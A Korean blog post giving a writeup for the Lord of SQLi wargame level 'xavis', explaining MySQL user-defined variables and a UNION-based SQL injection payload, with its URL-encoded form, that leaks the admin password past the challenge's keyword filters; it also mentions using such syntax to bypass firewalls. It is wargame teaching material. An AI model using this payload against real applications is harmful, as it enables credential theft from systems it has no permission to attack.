티스토리 뷰

보안/Wargame

[Lord of SQLi] xavis Writeup/문제풀이

돔돔이부하 2021. 10. 22. 03:40
728x90
반응형

if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/regex|like/i', $_GET[pw])) exit("HeHe");

pw 파라미터를 받고, prob 문자열이 들어가거나 _(언더바), .(온점), (나 ) 괄호들이 필터링되고 있습니다. 추가로 regex 나 like 라는 단어들이 필터링되고 있는 걸 볼 수 있습니다.

 

$query = "select id from prob_xavis where id='admin' and pw='{$_GET[pw]}'"; 
echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";

사용자로부터 입력받은 pw 파라미터가 들어간 query 구문의 결과 값으로 id 가 존재할 경우 문제가 풀리는 것으로 보입니다. 다른 문제와 마찬가지로 위 코드 바로 아래 코드부터는 addslahes 함수가 있습니다. 그렇기 때문에 위에서 SQL Injection 을 통해서 admin 의 pw를 구해야합니다.

 

아래 코드를 계속해서 보겠습니다.

$_GET[pw] = addslashes($_GET[pw]); 
$query = "select pw from prob_xavis where id='admin' and pw='{$_GET[pw]}'"; 
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("xavis");

admin 의 pw를 구해서 파라미터에 입력하면 문제가 풀린다고 합니다.

앞에서 수도 없이 많이 다룬 방법으로 pw의 길이를 구하고, ascii 코드값 또는 unicode 값을 한 문자씩 substring 을 통해서 구할 수도 있습니다. 하지만 이번에는 정통적인 MySQL 의 문법을 이용해서 풀어보도록 하겠습니다. 이 방법이 가능한 이유는 우선 다른 기호보다도 =(부등호)가 필터링되어 있지 않기 때문에 가능한 방법이라고 볼 수 있게습니다.

 

방법을 설명하기에 앞서 MySQL 문법에 대해 먼저 짚고 가겠습니다.

 

혹시 MySQL 에도 변수(Variable)라는 개념이 있다는 것을 알고 계신가요?

흔히 다들 아시다시피, 변수(variable)란 어떤 값을 담아두는 곳입니다.
그리고 MySQL 에서도 변수에 특정 값을 담아두고 사용할 수 있습니다.
변수에는 크게 사용자 정의 변수, 지역 변수, 시스템 변수가 있습니다.

저희가 이번에 알아볼 것은 사용자 정의 변수입니다. 말그대로 저희가 직접 정의해서 사용하는 변수를 의미합니다.

보통 정수, 10진수, 부동소수점, 2진수 또는 이진문자열, NULL 값들을 값으로 지정할 수 있습니다.

 

mysql> select @var;
+------------+
| @var       |
+------------+
| 0x         |
+------------+

MySQL 설정에 따라 다른데 select @var; 이라고 할 경우 NULL 값을 가집니다. 16진수로 표현하게 되면 위와 같이 나옵니다.

 

mysql> SET @DOMDOMI = 1, @DOMDOMI2 = 2;
Query OK, 0 rows affected (0.00 sec)

mysql> SELECT @DOMDOMI, @DOMDOMI2;
+----------+-----------+
| @DOMDOMI | @DOMDOMI2 |
+----------+-----------+
|        1 |         2 |
+----------+-----------+

위와 같이 SET @변수이름 = 값 형태로 변수에 값을 저장할 수 있고, SELECT 구문을 이용해서 변수의 내용을 출력할 수도 있습니다.

 

또 SELECT 구문에서 바로 변수를 대입하고 싶은 경우에는 아래와 같이 할 수도 있습니다.

mysql> SELECT @DOMDOMI3 := 3;
+----------------+
| @DOMDOMI3 := 3 |
+----------------+
|              3 |
+----------------+

SELECT @변수명 을 사용할 때는 := 과 같은 대입연산자를 사용합니다.

 

그리고 이제 아래 예시를 보도록 하겠습니다.

mysql> select * from user;
+----+-------+----------+
| id | user  | pass     |
+----+-------+----------+
|  1 | admin | admin123 |
|  2 | guest | guest123 |
+----+-------+----------+
2 rows in set (0.00 sec)

mysql> select pass from user where user='admin' and pass='' or (select @b:=pass where user='admin') union select @b;
+----------+
| pass     |
+----------+
| admin123 |
+----------+
1 row in set, 1 warning (0.00 sec)

or 연산을 통해 앞에 구문이 거짓이 되더라도 뒤에 구문을 실행하도록 하였으며, 괄호 안에 있는 내용에서는 user가 admin 인 pass 를 변수 @b 에 저장하도록 했습니다. 그리고 바로 뒤에 이어서 union select문으로 변수 @b에 있는 내용을 출력하도록 하였습니다. 이렇듯 문제도 동일하게 풀 수 있습니다.

 

' or (select @a:=pw where id='admin') union select @a#

문제에서의 pw 파라미터 값은 위와 같습니다. 문제 코드에서는 result['id'] 를 출력하고 있기 때문에 그 부분에 admin 의 pw를 출력하도록 하고 있습니다.

if($result['id']) echo "<h2>Hello {$result[id]}</h2>";

그럼 URL 인코딩해서 아래와 같이 만들고서 문제를 풀어보도록 하겠습니다.

?pw=%27%20or%20(select%20@a:=pw%20where%20id=%27admin%27)%20union%20select%20@a%23

비밀번호가 나왔습니다. "우왕굳"이라니 유니코드 형태였습니다. 위와 같이 풀게되면 어떠한 bruteforcing을 하지 않아도 되니 관련 제약조건만 없다면 정말 좋은 방법이라고 생각합니다. 이 문제를 풀면서 MySQL 기본 문법에 대해서 더 공부해야할 필요가 있겠다고 생각이 드는 문제였습니다. 실제로 방화벽 Bypass 시에도 다양한 문법들을 이용해서 우회를 하게 되기 때문입니다.

 

- 끝 -

728x90
반응형
댓글